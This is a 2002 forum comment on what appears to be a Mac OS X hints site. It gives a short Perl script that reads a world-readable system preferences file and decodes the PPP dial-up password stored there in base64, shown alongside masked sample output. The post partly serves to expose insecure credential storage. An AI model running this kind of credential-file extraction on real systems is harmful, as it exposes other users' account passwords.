Submit Hint Search The Forums LinksStatsPollsHeadlinesRSS
14,000 hints and counting!


Click here to return to the 'extract ppp-account info' hint
The following comments are owned by whoever posted them. This site is not responsible for what they say.
extract ppp-account info
Authored by: see on May 10, '02 11:13:22AM

here is a small hack i wrote in perl long time ago, requires BASE64 modeul (get at CPAN). has worked since 10.0.x.
i just wonder what apple though of when using a worldreadable file storing passwd cleartext (just base64 encoded)
---------
see@immortelle:/var/db/SystemConfiguration> ls -l preferences.xml
-rw-r--r-- 1 root wheel 34707 May 4 18:45 preferences.xml
---------
see@immortelle:~> ./ppphack.pl
Info extracted from: /var/db/SystemConfiguration/preferences.xml
username: XXXXXXX
password: YYYYYY
number: 555-1234
---------
#!/usr/bin/perl
#put in file ppphack.pl
#chmod +x ppphack.pl and then ./ppphack.pl
use MIME::Base64;
if(open(FILE, "/var/db/SystemConfiguration/preferences.xml")){
$line=<FILE>;
while($line ne ""){
if($line =~ /AuthName/){
$username=<FILE>;
$username=~s/<string>//;
$username=~s/<\/string>//;
$username=~s/[\t ]+//;
chop($username);
}
if($line =~ /AuthPassword/){
$crap=<FILE>;
$password=<FILE>;
$password=~s/[\t ]+//;
chop($password);
}
if($line =~ /CommRemoteAddress/){
$number=<FILE>;
$number=~s/<string>//;
$number=~s/<\/string>//;
$number=~s/[\t ]+//;
chop($number);
}
$line=<FILE>;
}
}
$decoded_pass=decode_base64($password);
print "Info extracted from: /var/db/SystemConfiguration/preferences.xml\n";
print "username: $username\npassword: $decoded_pass\nnumber: $number\n";



[ Reply to This | # ]